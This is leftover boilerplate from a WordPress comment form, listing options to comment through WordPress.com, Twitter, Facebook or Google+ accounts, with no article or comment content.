You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s